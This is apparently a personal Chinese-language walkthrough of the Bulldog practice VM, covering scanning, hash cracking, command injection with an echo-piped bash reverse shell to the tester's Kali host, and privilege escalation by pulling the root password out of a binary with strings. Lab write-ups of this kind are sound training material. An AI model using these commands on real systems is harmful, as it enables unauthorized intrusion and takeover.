bulldog靶机复现

注:个人笔记,有点简陋,仅供参考。

准备:把kali和靶机设置为同一网段(NAT)

信息搜集

主机扫描

nmap -sP -T4 10.4.7.0/24

扫描出靶机IP为:10.4.7.134

扫描端口、服务

nmap -A -T4 -p- 10.4.7.134 -sV

发现扫描出了23、80、8080端口,开放了 ssh 和 http 服务

渗透测试

扫描目录

该靶机开放了80端口,使用IP地址在浏览器进行访问

然后扫描目录

dirb http://10.4.7.134/

得到以下目录:
http://10.4.7.134/admin/
http://10.4.7.134/dev/
http://10.4.7.134/dev/shell/

访问目录

  1. http://10.4.7.134/admin/ ,发现是一个登录框,我们目前并没有账密,可以登录其他网页寻找线索
  1. http://10.4.7.134/dev/
  1. http://10.4.7.134/dev/shell/ ,

回到 http://10.4.7.134/dev/,F12或右键查看源代码,发现一一对应的可疑邮箱与疑似哈希密码串,猜测其为用户名及密码

尝试进行解密:

MD5在线解密

MD5在线解密

  • 依次尝试获取到的密码串,发现最后两个解密成功
用户名 密码
alan 破解失败
william 破解失败
malik 破解失败
kevin 破解失败
ashley 破解失败
nick bulldog
sarah bulldoglover

尝试进行登录,登录成功

用户名:sarah

密码:bulldoglover

在网页http://10.4.7.134/dev/shell/ 刷新后发现可以进行访问

命令注入与nc反弹shell

  • 由于部分命令被过滤,下面尝试绕过反弹shell

在kali中使用nc进行监听

在此输入 echo 'bash -i >& /dev/tcp/10.4.7.135/8888 0>&1' | bash 尝试反弹

  • 由于 echo 是可以使用的,这里利用 echo 构建一个反弹shell的命令,然后用管道符交给 bash 执行

然后run运行,运行后发现kali已经收到了反弹shell

  • 此时已成功进入系统,但权限还不是root,下一步进行提权操作

提权

  • 切换成 root 用户的前提是需要知道 root 用户的密码,所以我们这里的主要目标是在有限的权限里搜集到 root 的密码,完成提权
  1. 查看有哪些用户,输入 cat /etc/passwd 查看用户,发现 bulldogadmin 用户
  1. 进入该用户的家目录
  1. 输入 ls -la 查看隐藏文件,发现隐藏目录 .hiddenadmindirectory
  1. 输入 cd .hiddenadmindirectory 进入该目录,ls -la 查看隐藏文件,发现 customPermissionApp和 note 两个文件
  1. 分别进行查看,并没有发现什么有用的信息

cat customPermissionApp 乱码

cat note ,

  1. 利用 strings 查看可执行文件中的内容,发现疑似密码
    • strings 命令用来提取和显示非文本文件中的文本字符串

标红位置中猜测可能是密码,应为 SUPER 、 ulitimate 、PASSWORD、youCANTget, 可以把他们连到一起正好是 SUPERultimatePASSWORDyouCANTget ,H是来混淆的,中间刚好有PASSWORD

  • 展开密码串为:SUPERultimatePASSWORDyouCANTget

尝试 su -i ,直接切换 root ,发现并不能执行

可以用Python调用本地的shell实现,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'

然后切换为 root ,需要加上 sudo 才能执行

shdo su -

提权成功

获取flag

相关推荐
Swilderrr11 小时前
论文精读:《Directory-Aware Query and Maintenance in Vector Databases》
笔记·学习
SatanII11 小时前
K8s 存储与配置管理|Volume、ConfigMap、Secret 核心笔记
笔记·rpc·kubernetes
I'mChloe13 小时前
飞牛NAS部署flatnotes实战:Docker、8080端口、Markdown笔记与固定地址访问
笔记·docker·容器
库玛西13 小时前
外部排序全解析:败者树、置换-选择排序与最佳归并树
c语言·数据结构·c++·笔记·考研·算法
摇滚侠13 小时前
《Java并发编程之美》第 2 章 并发编程的其他基础知识 阅读笔记 3
android·java·笔记
ss27314 小时前
AI时代首先数据库-PostgreSQL实战笔记 | 18 PostgreSQL基本索引原理与创建
数据库·笔记·postgresql
qq_2842740515 小时前
电气控制笔记:常用低压电器符号原理与异步电动机点动、自锁、多地控制电路(含考点)
笔记·学习·自动化·制造
坤坤子吖15 小时前
Linux 线程同步与互斥——条件变量与线程同步
linux·开发语言·c++·笔记·学习
乐橙开放平台16 小时前
不用换摄像头,如何用乐橙把海康、大华、宇视统一到一个界面
笔记·物联网·自动化·音视频·智能家居
凯凯姜16 小时前
Vue 3 深入学习笔记 16:API 请求封装与统一错误处理
vue.js·笔记·学习